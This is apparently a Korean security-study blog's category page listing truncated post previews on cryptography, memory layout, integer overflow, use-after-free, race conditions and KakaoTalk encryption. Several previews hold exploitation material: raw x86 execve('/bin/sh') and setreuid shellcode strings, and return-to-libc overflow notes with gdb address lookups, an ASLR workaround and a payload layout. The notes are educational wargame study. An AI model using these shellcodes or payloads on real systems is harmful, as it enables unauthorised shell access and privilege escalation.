728x90 반응형 Security Study/System16 chainalysis를 통한 가상화폐 추적 기본 순서 가상자산(Cryptocurrency)의 기본 특징 이해 주요 주체 및 사용 사례 파악 올바른 용어 사용 지갑. 주소 및 클러스터의 구별 블록체인과 비트코인 블록체인이란? → 사토시 나카모토가 고안한 거래내역 기록 과정이 연대순으로 장부를 업데이트하기에 비트코인 장부를 '시간 사슬'이라 부름 개방형(탈중앙형/무허가형) ↔ 폐쇄형(중앙집중형/허가형)거래 내역 공개 ↔ 거래내역은 구성원에게만 보임 누구나 접속가능 ↔ 구성원을 위한 폐쇄형 네트워크 하이브리드 블록체인 → 개방형과 폐쇄형의 중간 ⇒ 리플이 대표적인 예 → 거래내역이 공개되어있으나 폐쇄형 네트워크와 위계형 혹은 컨소시엄 형태의 운영 비트코인이란?→ 첫 번쨰 블록은 09년 1월 3일에 채굴됨→ 일반적으로 인용문은 08년 글로벌 금융 위기를 촉발.. Security Study/System 2022. 11. 6. 0 [암호학] 대칭키 암호 P-박스 현대블록 암호 -> 확산과 혼돈과 같은 성질을 만족시키기 위한 전치요소(P-박스)와 치환요소(S-박스)와 그 밖의 구성요소 결합 P-박스 => 문자 단위로 암호화를 했던 고전전치 암호를 병렬적으로 수행 종류 : 단순 P-박스 축소 P-박스 확장 P-박스가 존재 축소 P-박스 : n비트를 입력받아 m비트를 출력하는 P-박스로서 n>m을 만족 / 입력비트 중 특정 비트는 소실되어 출력X 확장 P-박스 : n비트를 받아 m비트를 출력하는 P-박스이며, nm 존재X 확장 P-박스 n Security Study/System 2020. 6. 16. 0 암호학 고대 암호 - 암호문에서 원문을 유추할 수 있다.현대 암호 - 고대암호와 반대로 암호문에서 원문을 유추할 수가 없다.이유는 요즘의 현대암호는 수학을 원리로 하기 때문이다. 현대 암호양방향 암호화 - 암호문을 다시 평문으로 복원을 할수있다. - 가역적 - Encrytion대칭킹 암호 vs 공개키 암호(= 비대칭키 암호)1) 대칭키 암호 - 암호키와 복호화 키가 같다. - 비교적 연산의 양이 적어 계산이 빠르다. - 스트림 암호와 블록 암호 즉, 2종류로 나뉜다.1) 스트림 암호 - 한 번에 한 비트나 한 바이트 단위로 암호화 된다. - 블록 암호보다 빠르나 낮은 보안성을 가진다. - 네트워크 송수신, 스트리밍 등에 사용된다.2) 블록 암호 - 한 번에 특정 블록(바이트) 단위로 암호화 된다. - 정해진 크.. Security Study/System 2015. 11. 28. 0 자식 프로세스 디버깅 하기 디버깅을 하다보면 자식 프로세스는 디버깅이 되지 않을 때도 있더군요! 그래서 한번 검색해 봤습니당!! 검색을 해보니 MSDN에는서 이 함수가 나오는데요!! 이 이함수를 잘 읽어 보니 DEBUG_PROCESS 라는 것을 찾을 수 있었습니다. DEBUG_PROCESS 이는 Process Creation의 인자로 debug_process인자로 넘겨주면 된다고 명시되어 있습니다. Security Study/System 2015. 11. 22. 0 integer overflow #include int main(){ int a,b; printf("a + b = 0 (a,b != 0)\n"); printf("A = "); scanf("%d",&a); printf("B = "); scanf("%d",&b); if(a + b == 0) { printf("Congratulation!\n"); } else if(a == 0 || b ==0) { printf("Fuck up!\n"); } else { printf("Fuck you!\n"); } return 0;} integer overflow란?기본 정수형에서 저장할 수 있는 기본치의 값보다 더 큰 수를 입력하여 예기치 않은 행동을 취하게 하는 것 Security Study/System 2015. 10. 22. 0 system 24byte shellcode \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80 Security Study/System 2015. 10. 15. 0 Use After Free use after free 라는 취약점은 프로그램 메모리는 크게 Code/Data/Heap/Stack으로 나눌 수 있는데 Code+Data=Binary영역 Heap=프로그래머가 동적 할당/회수/제어 할 수 있는 영역 Stack=함수 개별공간(스택프레임),인자전달등으로 사용하는 영역 이렇게 구분할 수 있다 이 중에서 UAF는 프로그래머가 힙 영역을 잘못 다뤘을 때 발생하는 취약점이다. 아래의 소스를 보자 #include #include typedef struct UAF{int number;}uaf; int main(void){uaf *one;uaf *two; one = malloc(100);printf("one->number:%d\n",one->number); one->number=12345;printf(.. Security Study/System 2015. 10. 12. 0 memory 영역 memory code 영역- 코드를 구성하는 memory 영역으로 hex file or bin fire memory- program 명령이 위치하는 곳으로 기계어로 제어되는 메모리 영역이다. data 영역- 전역변수, 정적변수, 배열, 구조체 등이 저장되어 있다. * 초기화 된 데이터는 data 영역에 저장되고 초기화 되지 않은 데이터는 bss(block stated symbol)에 저장된다. - 프로그램이 실행 될 때 생성되어 프로그램 종료 시 까지 존재한다. - 함수 내부에 선언된 static 변수는 프로그램이 실행 될 때 공간만 할당되고, 함수가 실행 될 때 초기화 된다. heap 영역- 필요에 따라 동적으로 메모리를 할당 하고자 할 때 위치하는 메모리 영역으로 동적 데이터 영역이라고 부르며, 메모.. Security Study/System 2015. 10. 7. 0 C언어의 메모리 구조 ㅣ ㅣㅣ ㅣㅡㅡㅡㅡㅡㅡㅡㅡㅣ ㅣㅣ ㅣ main 함수즉, 먼저 호출 된 함수의 스택공간 일수록 늦게 해체 된다. free 함수를 호풀하지 않으면 프로그램 종료 후에도 메모리가 남을까?-> 프로그램 실행시 할당된 메모리 공간은 프로그램이 종료되면 운영체제에 의해서 전부 해제가 된다. 선행처리란?컴파일 이전의 처리를 의미한다. 매크로 함수의 장점- 일반 함수에 비해 속도가 빠르다.- 자료형에 따라서 별도로 함수를 정의하지 않아도 된다. 매크로 함수의 단점- 정의하기가 정말로 까다롭다.- 디버깅 하기가 쉽지 않다. Security Study/System 2015. 9. 21. 0 race condition(경쟁 조건)attack 경쟁 조건이란? 두 프로세스간에 리소스(resource)를 사용하기 위해서 다투는 과정으로, 본래 해킹기법을 칭하는 것이 아니다. 알려진 코드를 통해 경쟁 조건의 원래 의미를 알아보자. 여기서 fork()라는 함수는 동일한 작업을 하는 프로세스를 하나 더 띄우는 함수로써 fork()를 호출할 때, 결과 값은 새로 만들어진 프로세스의 번호가 된다. 이로 프로세스를 구분한다. if(a%2 ==0) => printf("O")가 /*부모 프로세스*/에서 50번을 출력하고if(a%2 ==1) => printf("X")가 /*자식 프로세스*/에서 50번을 출력한다고 한다. 그럼 기본적으로 OXOXOXOXOXOXOX이러한 식으로 출력을 할 것이라고 생각하는데 이와다르게 XXOXXOOOOOOOXXOXOOOOO 이러한식.. Security Study/System 2015. 9. 17. 0 system /bin/sh 주소 찾기 #include #include int main(int argc,char *argv[]) {long shell;shell = 시스템 주소;while(memcmp((void*)shell,("/bin/sh"),8)) shell++;printf("%p\n",shell);} Security Study/System 2015. 9. 15. 0 system 2 gdb안에서의 blocking 함수 입력 r Security Study/System 2015. 9. 13. 0 system 1일차 buf[248] + sfp[4] + ret ulimit -s unlimited //스택크기를 무한정으로 늘려 ASLR이 적용안됨 system,execve - ebp+8위치에있는것을 인자로받음 buf[248] + sfp [4] + 조작(system) + AAAA + /bin/sh - system("/bin/sh") b main r 1 p system - system주소 구하기 p exit - exit구하기 find &system,+9999999,"/bin/sh" - /bin/sh주소 구하기 ./filename $(python -c 'print "A"*버퍼+sfp + system + exit + /bin/sh strcpy(bss,\x80asda) strcpy(bss,"b") ./filename buf+sfp.. Security Study/System 2015. 9. 12. 0 system shellcode // 16 Byte, setreuid( geteuid() , geteuid() );\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80 // 25 Byte, shellcode\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80 // 41 Byte\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0.. Security Study/System 2015. 9. 10. 0 BOF(buffer overflow) Security Study/System 2015. 9. 3. 0 카카오톡 비밀대화 분석 Certificate Pinning; SSL PinningEnd-to-end EncryptionPerfect Forward Secrecy Cain & Abel을 통한 MITM 공격Certificate PinningRSA 알고리즘, AES를 통하여 키를 주고받음송신자-> AES 키로 암호화된 내용을 서버에 보냄서버에서 복호화하여 내용을 저장, AES 키로 암호화 후 수신자에게 보냄End-to-end EncryptionHandshake 후 각자의 정보를 이용하여 복호화Perfect Forward SecrecySSL Pinning, 키값만 알면 뚫린다!실시간 도/감청은 불가정부의 정책으로 인해서의 데이터 수집이 있다면 또 모를까.카톡 서버에 데이터를 저장하는 이유?- 3일 ~ 일주일; 상대방이 받지 못했을 때.. Security Study/System 2015. 9. 3. 0 이전 1 다음 728x90 반응형